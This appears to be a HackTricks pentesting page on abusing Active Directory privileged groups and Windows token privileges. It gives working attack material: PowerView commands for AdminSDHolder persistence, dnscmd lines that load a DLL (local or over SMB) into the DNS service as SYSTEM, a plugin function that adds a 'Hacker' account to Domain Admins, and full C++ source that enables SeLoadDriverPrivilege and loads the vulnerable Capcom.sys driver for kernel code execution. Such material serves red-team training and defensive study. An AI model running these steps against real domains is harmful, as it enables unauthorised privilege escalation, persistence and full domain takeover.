Privileged Accounts and Token Privileges

Privileged Accounts and Token Privileges
Support HackTricks and get benefits!
Known groups with administration privileges
Administrators
Domain Admins
Enterprise Admins
There are other account memberships and access token privileges that can also be useful during security assessments when chaining multiple attack vectors.
AdminSDHolder group
The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all “protected groups” in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group AdminSDHolder for example giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group (in an hour).
And if someone tries to delete this user from the Domain Admins (for example) in an hour or less, the user will be back in the group.
Add a user to the AdminSDHolder group:
1
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Copied!
Check if the user is inside the Domain Admins group:
1
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Copied!
If you don't want to wait an hour you can use a PS script to make the restore happen instantly: https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1​
​More information in ired.team.​
Account Operators
Allows creating non administrator accounts and groups on the domain
Allows logging in to the DC locally
Note the spotless' user membership:
However, we can still add new users:
As well as login to DC01 locally:
Server Operators
This membership allows users to configure Domain Controllers with the following privileges:
Allow log on locally
Back up files and directories
Change the system time
Change the time zone
Force shutdown from a remote system
Restore files and directories
Shut down the system
Note how we cannot access files on the DC with current membership:
However, if the user belongs to Server Operators:
The story changes:
Backup Operators
As with Server Operators membership, we can access the DC01 file system if we belong to Backup Operators:
DnsAdmins
Resume
A user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server.
This is really interesting as the Domain Controllers are used very frequently as DNS servers.
Execute
Then, if you have a user inside the DNSAdmins group, you can make the DNS server load an arbitrary DLL with SYSTEM privileges. You can make the DNS server load a local or remote (shared by SMB) DLL file executing:
1
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
2
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
Copied!
An example of a valid DLL can be found in https://github.com/kazkansouh/DNSAdmin-DLL. I would change the code of the function DnsPluginInitialize to something like:
1
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
2
{
3
		system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
4
		system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
5
}
Copied!
So, when the DNSservice start or restart, a new user will be created.
Even having a user inside DNSAdmin group you by default cannot stop and restart the DNS service. But you can always try doing:
1
sc.exe \\dc01 stop dns
2
sc.exe \\dc01 start dns
Copied!
​Learn more about this privilege escalation in ired.team.​
AD Recycle Bin
This group gives you permission to read deleted AD object. Something juicy information can be found in there:
1
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
2
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
3
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Copied!
Group Managed Service Accounts (gMSA)
In most of the infrastructures, service accounts are typical user accounts with “Password never expire” option. Maintaining these accounts could be a real mess and that's why Microsoft introduced Managed Service Accounts:
No more password management. It uses a complex, random, 240-character password and changes that automatically when it reaches the domain or computer password expire date.
It is uses Microsoft Key Distribution Service (KDC) to create and manage the passwords for the gMSA.
It cannot be lock out or use for interactive login
Supports to share across multiple hosts
Can use to run schedule tasks (Managed service accounts do not support to run schedule tasks)
Simplified SPN Management – System will automatically change the SPN value if sAMaccount details of the computer change or DNS name property change.
gMSA accounts have their passwords stored in a LDAP property called msDS-ManagedPassword which automatically get resets by the DC’s every 30 days, are retrievable by authorized administrators and by the servers who they are installed on. msDS-ManagedPassword is an encrypted data blob called MSDS-MANAGEDPASSWORD_BLOB and it’s only retrievable when the connection is secured, LDAPS or when the authentication type is ‘Sealing & Secure’ for an example.
Image from https://cube0x0.github.io/Relaying-for-gMSA/
So, if gMSA is being used, find if it has special privileges and also check if you have permissions to read the password of the services.
Also, check this web page about how to perform a NTLM relay attack to read the password of gMSA.
SeLoadDriverPrivilege
A very dangerous privilege to assign to any user - it allows the user to load kernel drivers and execute code with kernel privilges aka NT\System. See how offense\spotless user has this privilege:
Whoami /priv shows the privilege is disabled by default:
However, the below code allows enabling that privilege fairly easily:
privileges.cpp
1
#include "stdafx.h"
2
#include <windows.h>
3
#include <stdio.h>
4
​
5
int main()
6
{
7
	TOKEN_PRIVILEGES tp;
8
	LUID luid;
9
	bool bEnablePrivilege(true);
10
	HANDLE hToken(NULL);
11
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
12
​
13
	if (!LookupPrivilegeValue(
14
		NULL,            // lookup privilege on local system
15
		L"SeLoadDriverPrivilege",   // privilege to lookup 
16
		&luid))        // receives LUID of privilege
17
	{
18
		printf("LookupPrivilegeValue error: %un", GetLastError());
19
		return FALSE;
20
	}
21
	tp.PrivilegeCount = 1;
22
	tp.Privileges[0].Luid = luid;
23
	
24
	if (bEnablePrivilege) {
25
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
26
	}
27
	
28
	// Enable the privilege or disable all privileges.
29
	if (!AdjustTokenPrivileges(
30
		hToken,
31
		FALSE,
32
		&tp,
33
		sizeof(TOKEN_PRIVILEGES),
34
		(PTOKEN_PRIVILEGES)NULL,
35
		(PDWORD)NULL))
36
	{
37
		printf("AdjustTokenPrivileges error: %x", GetLastError());
38
		return FALSE;
39
	}
40
​
41
	system("cmd");
42
    return 0;
43
}
Copied!
We compile the above, execute and the privilege SeLoadDriverPrivilege is now enabled:
Capcom.sys Driver Exploit
To further prove the SeLoadDriverPrivilege is dangerous, let's exploit it to elevate privileges.
You can load a new driver using NTLoadDriver:
1
NTSTATUS NTLoadDriver(
2
  _In_ PUNICODE_STRING DriverServiceName
3
);
Copied!
By default the driver service name should be under \Registry\Machine\System\CurrentControlSet\Services\
But, according with to the documentation you could also use paths under HKEY_CURRENT_USER, so you could modify a registry there to load arbitrary drivers on the system.
The relevant parameters that must be defined in the new registry are:
ImagePath: REG_EXPAND_SZ type value which specifies the driver path. In this context, the path should be a directory with modification permissions by the non-privileged user.
Type: Value of type REG_WORD in which the type of the service is indicated. For our purpose, the value should be defined as SERVICE_KERNEL_DRIVER (0x00000001).
Therefore you could create a new registry in \Registry\User\<User-SID>\System\CurrentControlSet\MyService indicating in ImagePath the path to the driver and in Type the with value 1 and use those values on the exploit (you can obtain the User SID using: Get-ADUser -Identity 'USERNAME' | select SID or (New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value
1
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
2
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
Copied!
The first one declares a string variable indicating where the vulnerable Capcom.sys driver is located on the victim system and the second one is a string variable indicating a service name that will be used (could be any service).
Note, that the driver must be signed by Windows so you cannot load arbitrary drivers. But, Capcom.sys can be abused to execute arbitrary code and is signed by Windows, so the goal is to load this driver and exploit it.
Load the driver:
1
#include "stdafx.h"
2
#include <windows.h>
3
#include <stdio.h>
4
#include <ntsecapi.h>
5
#include <stdlib.h>
6
#include <locale.h>
7
#include <iostream>
8
#include "stdafx.h"
9
​
10
NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
11
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
12
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
13
​
14
int main()
15
{
16
	TOKEN_PRIVILEGES tp;
17
	LUID luid;
18
	bool bEnablePrivilege(true);
19
	HANDLE hToken(NULL);
20
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
21
​
22
	if (!LookupPrivilegeValue(
23
		NULL,            // lookup privilege on local system
24
		L"SeLoadDriverPrivilege",   // privilege to lookup 
25
		&luid))        // receives LUID of privilege
26
	{
27
		printf("LookupPrivilegeValue error: %un", GetLastError());
28
		return FALSE;
29
	}
30
	tp.PrivilegeCount = 1;
31
	tp.Privileges[0].Luid = luid;
32
	
33
	if (bEnablePrivilege) {
34
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
35
	}
36
	
37
	// Enable the privilege or disable all privileges.
38
	if (!AdjustTokenPrivileges(
39
		hToken,
40
		FALSE,
41
		&tp,
42
		sizeof(TOKEN_PRIVILEGES),
43
		(PTOKEN_PRIVILEGES)NULL,
44
		(PDWORD)NULL))
45
	{
46
		printf("AdjustTokenPrivileges error: %x", GetLastError());
47
		return FALSE;
48
	}
49
​
50
	//system("cmd");
51
	// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
52
	std::cout << "[+] Set Registry Keys" << std::endl;
53
	NTSTATUS st1;
54
	UNICODE_STRING pPath;
55
	UNICODE_STRING pPathReg;
56
	PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
57
  PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
58
	const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
59
	HMODULE hObsolete = GetModuleHandleA(NTDLL);
60
	*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
61
	*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
62
	*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
63
​
64
	RtlInitUnicodeString(&pPath, pPathSource);
65
	RtlInitUnicodeString(&pPathReg, pPathSourceReg);
66
	st1 = NtLoadDriver(&pPathReg);
67
	std::cout << "[+] value of st1: " << st1 << "\n";
68
	if (st1 == ERROR_SUCCESS) {
69
		std::cout << "[+] Driver Loaded as Kernel..\n";
70
		std::cout << "[+] Press [ENTER] to unload driver\n";
71
	}
72
​
73
	getchar();
74
	st1 = NtUnloadDriver(&pPathReg);
75
	if (st1 == ERROR_SUCCESS) {
76
		std::cout << "[+] Driver unloaded from Kernel..\n";
77
		std::cout << "[+] Press [ENTER] to exit\n";
78
		getchar();
79
	}
80
​
81
    return 0;
82
}
Copied!
Once the above code is compiled and executed, we can see that our malicious Capcom.sys driver gets loaded onto the victim system:
Download: Capcom.sys - 10KB​
No it's time to abuse the loaded driver to execute arbitrary code.
You can download exploits from https://github.com/tandasat/ExploitCapcom and https://github.com/zerosum0x0/puppetstrings and execute it on the system to elevate our privileges to NT Authority\System:
Auto
You can use https://github.com/TarlogicSecurity/EoPLoadDriver/ to automatically enable the privilege, create the registry key under HKEY_CURRENT_USER and execute NTLoadDriver indicating the registry key that you want to create and the path to the driver:
Then, you will need to download a Capcom.sys exploit and use it to escalate privileges.
References
Privileged Accounts and Token Privileges
Red Teaming Experiments
Abusing SeLoadDriverPrivilege for privilege escalation
Tarlogic Security
Appendix B - Privileged Accounts and Groups in Active Directory
docsmsft
Enabling and Disabling Privileges in C++ - Win32 apps
docsmsft
Scanning for Active Directory Privileges & Privileged Accounts
Active Directory Security
Abusing GPO Permissions - harmj0y
harmj0y
Abusing SeLoadDriverPrivilege for privilege escalation
Tarlogic Security
https://rastamouse.me/2019/01/gpo-abuse-part-1/
rastamouse.me
HotLoad-Driver/ntloaddriver.cpp at master · killswitch-GUI/HotLoad-Driver
GitHub
GitHub - tandasat/ExploitCapcom: This is a standalone exploit for a vulnerable feature in Capcom.sys
GitHub
EoPLoadDriver/eoploaddriver.cpp at master · TarlogicSecurity/EoPLoadDriver
GitHub
Capcom-Rootkit/Capcom.sys at master · FuzzySecurity/Capcom-Rootkit
GitHub
A Red Teamer’s Guide to GPOs and OUs
Medium
NTAPI Undocumented Functions
Support HackTricks and get benefits!